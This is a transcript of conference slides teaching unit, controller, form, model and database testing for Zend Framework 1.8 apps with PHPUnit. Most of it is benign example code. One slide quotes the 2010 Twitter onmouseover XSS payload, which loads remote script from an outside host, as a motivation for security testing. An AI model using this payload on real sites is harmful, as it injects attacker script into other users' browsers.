Unit testing after Zend Framework 1.8
-
Upload
michelangelo-van-dam -
Category
Technology
-
view
36.023 -
download
3
description
Transcript of Unit testing after Zend Framework 1.8
Unit Testing after ZF 1.8Michelangelo van Dam
ZendCon 2010, Santa Clara, CA (USA)
Michelangelo van Dam• Independent Consultant
• Zend Certified Engineer (ZCE)
• President of PHPBenelux
This session
What has changed with ZF 1.8 ?How do we set up our environment ?
How are we testing controllers ?How are we testing forms ?
How are we testing models ?
New to unit testing ?
Matthew Weier O’Phinney
http://www.slideshare.net/weierophinney/testing-zend-framework-applications
Giorgio Sironi
http://giorgiosironi.blogspot.com/2009/12/practical-php-testing-is-here.html
Zend Framework 1.8
Birth of Zend_Application
• bootstrapping an “app”• works the same for any environment• resources through methods (no registry)• clean separation of tests- unit tests- controller tests- integration tests (db, web services, …)
Types of tests
Unit Testing
• smallest functional code snippet (unit)- function or class method• aims to challenge logic- proving A + B gives C (and not D)• helpful for refactoring• essential for bug fixing (is it really a bug ?)• TDD results in better code• higher confidence for developers -> managers
Controller Testing
• tests your (ZF) app- is this url linked to this controller ?• detects early errors- on front-end (route/page not found)- on back-end (database changed, service down, …)• tests passing back and forth of params• form validation and filtering• security testing (XSS, SQL injection, …)
Database Testing
• tests the functionality of your database- referred to as “integration testing”• checks functionality- CRUD- stored procedures- triggers and constraints• verifies no mystery data changes happen- UTF-8 in = UTF-8 out
Application Testing
Setting things up
phpunit.xml<phpunit bootstrap="./TestHelper.php" colors="true"> <testsuite name="Zend Framework Unit Test Demo"> <directory>./</directory> </testsuite>
<!-- Optional settings for filtering and logging --> <filter> <whitelist> <directory suffix=".php">../library/</directory> <directory suffix=".php">../application/</directory> <exclude> <directory suffix=".phtml">../application/</directory> </exclude> </whitelist> </filter>
<logging> <log type="coverage-html" target="./log/report" charset="UTF-8" yui="true" highlight="true" lowUpperBound="50" highLowerBound="80"/> <log type="testdox-html" target="./log/testdox.html" /> </logging></phpunit>
TestHelper.php<?php// set our app paths and environmentsdefine('BASE_PATH', realpath(dirname(__FILE__) . '/../'));define('APPLICATION_PATH', BASE_PATH . '/application');define('TEST_PATH', BASE_PATH . '/tests');define('APPLICATION_ENV', 'testing');
// Include pathset_include_path('.' . PATH_SEPARATOR . BASE_PATH . '/library' . PATH_SEPARATOR . get_include_path());
// Set the default timezone !!!date_default_timezone_set('Europe/Brussels');
require_once 'Zend/Application.php';$application = new Zend_Application(APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');$application->bootstrap();
TestHelper.php<?php// set our app paths and environmentsdefine('BASE_PATH', realpath(dirname(__FILE__) . '/../'));define('APPLICATION_PATH', BASE_PATH . '/application');define('TEST_PATH', BASE_PATH . '/tests');define('APPLICATION_ENV', 'testing');
// Include pathset_include_path('.' . PATH_SEPARATOR . BASE_PATH . '/library' . PATH_SEPARATOR . get_include_path());
// Set the default timezone !!!date_default_timezone_set('Europe/Brussels');
require_once 'Zend/Application.php';$application = new Zend_Application(APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');$application->bootstrap();
ControllerTestCase.php<?phprequire_once 'Zend/Application.php';require_once 'Zend/Test/PHPUnit/ControllerTestCase.php';
abstract class ControllerTestCase extends Zend_Test_PHPUnit_ControllerTestCase{ protected function setUp() { // we override the parent::setUp() to solve an issue regarding not // finding a default module }}
Directory Strategy/application /configs /controllers /forms /models /modules /guestbook /apis /controllers /forms /models /views /helpers /filters /scripts /views /helpers /filters /scripts/library/public/tests
/tests /application /controllers /forms /models /modules /guestbook /apis /controllers /forms /models
Testing Controllers
Homepage testing<?php// file: tests/application/controllers/IndexControllerTest.phprequire_once TEST_PATH . '/ControllerTestCase.php';
class IndexControllerTest extends ControllerTestCase{ public function testCanWeDisplayOurHomepage() { // go to the main page of the web application $this->dispatch('/'); // check if we don't end up on an error page $this->assertNotController('error'); $this->assertNotAction('error'); // ok, no error so let's see if we're at our homepage $this->assertModule('default'); $this->assertController('index'); $this->assertAction('index'); $this->assertResponseCode(200); }}
Running the tests
testdox.html
Code coverage
Testing Forms
Guestbook form
fullName
emailAddress
website
comment
submit
Simple comment form<?phpclass Application_Form_Comment extends Zend_Form{ public function init() { $this->addElement('text', 'fullName', array ( 'label' => 'Full name', 'required' => true)); $this->addElement('text', 'emailAddress', array ( 'label' => 'E-mail address', 'required' => true)); $this->addElement('text', 'website', array ( 'label' => 'Website URL', 'required' => false)); $this->addElement('textarea', 'comment', array ( 'label' => 'Your comment', 'required' => false)); $this->addElement('submit', 'send', array ( 'Label' => 'Send', 'ignore' => true)); }}
CommentController<?php
class CommentController extends Zend_Controller_Action{ protected $_session; public function init() { $this->_session = new Zend_Session_Namespace('comment'); }
public function indexAction() { $form = new Application_Form_Comment(array ( 'action' => $this->_helper->url('send-comment'), 'method' => 'POST', )); if (isset ($this->_session->commentForm)) { $form = unserialize($this->_session->commentForm); unset ($this->_session->commentForm); } $this->view->form = $form; }}
Comment processing<?php
class CommentController extends Zend_Controller_Action{ …
public function sendCommentAction() { $request = $this->getRequest(); if (!$request->isPost()) { return $this->_helper->redirector('index'); } $form = new Application_Form_Comment(); if (!$form->isValid($request->getPost())) { $this->_session->commentForm = serialize($form); return $this->_helper->redirector('index'); } $values = $form->getValues(); $this->view->values = $values; }}
Views<!-- file: application/views/scripts/comment/index.phtml -->
<?php echo $this->form ?>
<!-- file: application/views/scripts/comment/send-comment.phtml --><dl><?php if (isset ($this->values['website'])): ?><dt id="fullName"><a href="<?php echo $this->escape($this->values['website']) ?>"><?php echo $this->escape($this->values['fullName']) ?></a></dt><?php else: ?><dt id="fullName"><?php echo $this->escape($this->values['fullName']) ?></dt><?php endif; ?><dd id="comment"><?php echo $this->escape($this->values['comment']) ?></dd></dl>
The Form
Comment processed
And now… testing
Starting simple<?php
// file: tests/application/controllers/IndexControllerTest.phprequire_once TEST_PATH . '/ControllerTestCase.php';
class CommentControllerTest extends ControllerTestCase{ public function testCanWeDisplayOurForm() { // go to the main comment page of the web application $this->dispatch('/comment'); // check if we don't end up on an error page $this->assertNotController('error'); $this->assertNotAction('error'); $this->assertModule('default'); $this->assertController('comment'); $this->assertAction('index'); $this->assertResponseCode(200); $this->assertQueryCount('form', 1); $this->assertQueryCount('input[type="text"]', 2); $this->assertQueryCount('textarea', 1); }}
$this->assertQueryCount('form', 1);$this->assertQueryCount('input[type="text"]', 3);$this->assertQueryCount('textarea', 1);
GET request = index ?public function testSubmitFailsWhenNotPost()
{ $this->request->setMethod('get'); $this->dispatch('/comment/send-comment'); $this->assertResponseCode(302); $this->assertRedirectTo('/comment');}
Can we submit our form ?public function testCanWeSubmitOurForm(){ $this->request->setMethod('post') ->setPost(array ( 'fullName' => 'Unit Tester', 'emailAddress' => '[email protected]', 'website' => 'http://www.example.com', 'comment' => 'This is a simple test', )); $this->dispatch('/comment/send-comment');
$this->assertQueryCount('dt', 1); $this->assertQueryCount('dd', 1); $this->assertQueryContentContains('dt#fullName', '<a href="http://www.example.com">Unit Tester</a>'); $this->assertQueryContentContains('dd#comment', 'This is a simple test');}
All other cases ?/** * @dataProvider wrongDataProvider */public function testSubmitFailsWithWrongData($fullName, $emailAddress, $comment){ $this->request->setMethod('post') ->setPost(array ( 'fullName' => $fullName, 'emailAddress' => $emailAddress, 'comment' => $comment, )); $this->dispatch('/comment/send-comment'); $this->assertResponseCode(302); $this->assertRedirectTo('/comment');}
wrongDataProviderpublic function wrongDataProvider()
{ return array ( array ('', '', ''), array ('~', 'bogus', ''), array ('', '[email protected]', 'This is correct text'), array ('Test User', '', 'This is correct text'), array ('Test User', '[email protected]', str_repeat('a', 50001)), );}
Running the tests
Our testdox.html
Code Coverage
Practical use
September 21, 2010
CNN reports
http://www.cnn.com/2010/TECH/social.media/09/21/twitter.security.flaw/index.html
The exploit
http://t.co/@”style=”font-size:999999999999px; ”onmouseover=”$.getScript(‘http:\u002f\u002fis.gd\u002ffl9A7′)”/
http://www.developerzen.com/2010/09/21/write-your-own-twitter-com-xss-exploit/
Unit Testing (models)
Guestbook Models
Testing models
• uses core PHPUnit_Framework_TestCase class• tests your business logic !• can run independent from other tests• model testing !== database testing- model testing tests the logic in your objects- database testing tests the data storage
Model setUp/tearDown<?phprequire_once 'PHPUnit/Framework/TestCase.php';class Application_Model_GuestbookTest extends PHPUnit_Framework_TestCase{ protected $_gb; protected function setUp() { parent::setUp(); $this->_gb = new Application_Model_Guestbook(); } protected function tearDown() { $this->_gb = null; parent::tearDown(); } …}
Simple testspublic function testGuestBookIsEmptyAtConstruct(){ $this->assertType('Application_Model_GuestBook', $this->_gb); $this->assertFalse($this->_gb->hasEntries()); $this->assertSame(0, count($this->_gb->getEntries())); $this->assertSame(0, count($this->_gb));}public function testGuestbookAddsEntry(){ $entry = new Application_Model_GuestbookEntry(); $entry->setFullName('Test user') ->setEmailAddress('[email protected]') ->setComment('This is a test'); $this->_gb->addEntry($entry); $this->assertTrue($this->_gb->hasEntries()); $this->assertSame(1, count($this->_gb));}
GuestbookEntry tests…public function gbEntryProvider(){ return array ( array (array ( 'fullName' => 'Test User', 'emailAddress' => '[email protected]', 'website' => 'http://www.example.com', 'comment' => 'This is a test', 'timestamp' => '2010-01-01 00:00:00', )), array (array ( 'fullName' => 'Test Manager', 'emailAddress' => '[email protected]', 'website' => 'http://tests.example.com', 'comment' => 'This is another test', 'timestamp' => '2010-01-01 01:00:00', )), );}
/** * @dataProvider gbEntryProvider * @param $data */public function testEntryCanBePopulatedAtConstruct($data){ $entry = new Application_Model_GuestbookEntry($data); $this->assertSame($data, $entry->__toArray());}…
Running the tests
Our textdox.html
Code Coverage
Database Testing
Database Testing
• integration testing- seeing records are getting updated- data models behave as expected- data doesn't change encoding (UTF-8 to Latin1)• database behaviour testing- CRUD- stored procedures- triggers- master/slave - cluster- sharding
Caveats
• database should be reset in a “known state”- no influence from other tests• system failures cause the test to fail- connection problems• unpredictable data fields or types- auto increment fields- date fields w/ CURRENT_TIMESTAMP
Converting modelTest
Model => database<?php
require_once 'PHPUnit/Framework/TestCase.php';class Application_Model_GuestbookEntryTest extends PHPUnit_Framework_TestCase{…}
Becomes
<?phprequire_once TEST_PATH . '/DatabaseTestCase.php';class Application_Model_GuestbookEntryTest extends DatabaseTestCase{…}
DatabaseTestCase.php<?php
require_once 'Zend/Application.php';require_once 'Zend/Test/PHPUnit/DatabaseTestCase.php';require_once 'PHPUnit/Extensions/Database/DataSet/FlatXmlDataSet.php';
abstract class DatabaseTestCase extends Zend_Test_PHPUnit_DatabaseTestCase{ private $_dbMock; private $_application; protected function setUp() { $this->_application = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); $this->bootstrap = array($this, 'appBootstrap'); parent::setUp(); } …
DatabaseTestCase.php (2) …
public function appBootstrap() { $this->application->bootstrap(); } protected function getConnection() { if (null === $this->_dbMock) { $bootstrap = $this->application->getBootstrap(); $bootstrap->bootstrap('db'); $connection = $bootstrap->getResource('db'); $this->_dbMock = $this->createZendDbConnection($connection,'in2it'); Zend_Db_Table_Abstract::setDefaultAdapter($connection); } return $this->_dbMock; } protected function getDataSet() { return $this->createFlatXMLDataSet( dirname(__FILE__) . '/_files/initialDataSet.xml'); }}
_files/initialDataSet.xml<?xml version="1.0" encoding="UTF-8"?>
<dataset> <gbentry id="1" fullName="Test User" emailAddress="[email protected]" website="http://www.example.com" comment="This is a first test" timestamp="2010-01-01 00:00:00"/> <gbentry id="2" fullName="Obi Wan Kenobi" emailAddress="[email protected]" website="http://www.jedi-council.com" comment="May the phporce be with you" timestamp="2010-01-01 01:00:00"/> <comment id="1" comment= "Good article, thanks"/> <comment id="2" comment= "Haha, Obi Wan… liking this very much"/> …</dataset>
A simple DB testpublic function testNewEntryPopulatesDatabase()
{ $data = $this->gbEntryProvider(); foreach ($data as $row) { $entry = new Application_Model_GuestbookEntry($row[0]); $entry->save(); unset ($entry); } $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection() ); $ds->addTable('gbentry', 'SELECT * FROM gbentry'); $dataSet = $this->createFlatXmlDataSet( TEST_PATH . "/_files/addedTwoEntries.xml"); $filteredDataSet = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( $dataSet, array('gbentry' => array('id'))); $this->assertDataSetsEqual($filteredDataSet, $ds);}
location of datasets<approot>/application /public /tests /_files initialDataSet.xml readingDataFromSource.xml
Running the tests
Our textdox.html
CodeCoverage
Changing recordspublic function testNewEntryPopulatesDatabase(){ $data = $this->gbEntryProvider(); foreach ($data as $row) { $entry = new Application_Model_GuestbookEntry($row[0]); $entry->save(); unset ($entry); } $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection() ); $ds->addTable('gbentry', 'SELECT fullName, emailAddress, website, comment, timestamp FROM gbentry'); $this->assertDataSetsEqual( $this->createFlatXmlDataSet( TEST_PATH . "/_files/addedTwoEntries.xml"), $ds );}
Expected resultset<?xml version="1.0" encoding="UTF-8"?><dataset> <gbentry fullName="Test User" emailAddress="[email protected]" website="http://www.example.com" comment="This is a first test" timestamp="2010-01-01 00:00:00"/> <gbentry fullName="Obi Wan Kenobi" emailAddress="[email protected]" website="http://www.jedi-council.com" comment="May the phporce be with you" timestamp="2010-01-01 01:00:00"/> <gbentry fullName="Test User" emailAddress="[email protected]" website="http://www.example.com" comment="This is a test" timestamp="2010-01-01 00:00:00"/> <gbentry fullName="Test Manager" emailAddress="[email protected]" website="http://tests.example.com" comment="This is another test" timestamp="2010-01-01 01:00:00"/></dataset>
location of datasets<approot>/application /public /tests /_files initialDataSet.xml readingDataFromSource.xml addedTwoEntries.xml
Running the tests
The testdox.html
CodeCoverage
Testing strategies
Desire vs Reality
• desire- +70% code coverage- test driven development- clean separation of tests
• reality- test what counts first (business logic)- discover the “unknowns” and test them- combine unit tests with integration tests
Automation
• using a CI system- continuous running your tests- reports immediately when failure- provides extra information‣ copy/paste detection‣ mess detection &dependency calculations‣ lines of code‣ code coverage‣ story board and test documentation‣ …
• http://slideshare.net/DragonBe/unit-testing-after-zf-18• http://github.com/DragonBe/zfunittest
• http://twitter.com/DragonBe• http://facebook.com/DragonBe
• http://joind.in/2243
Questions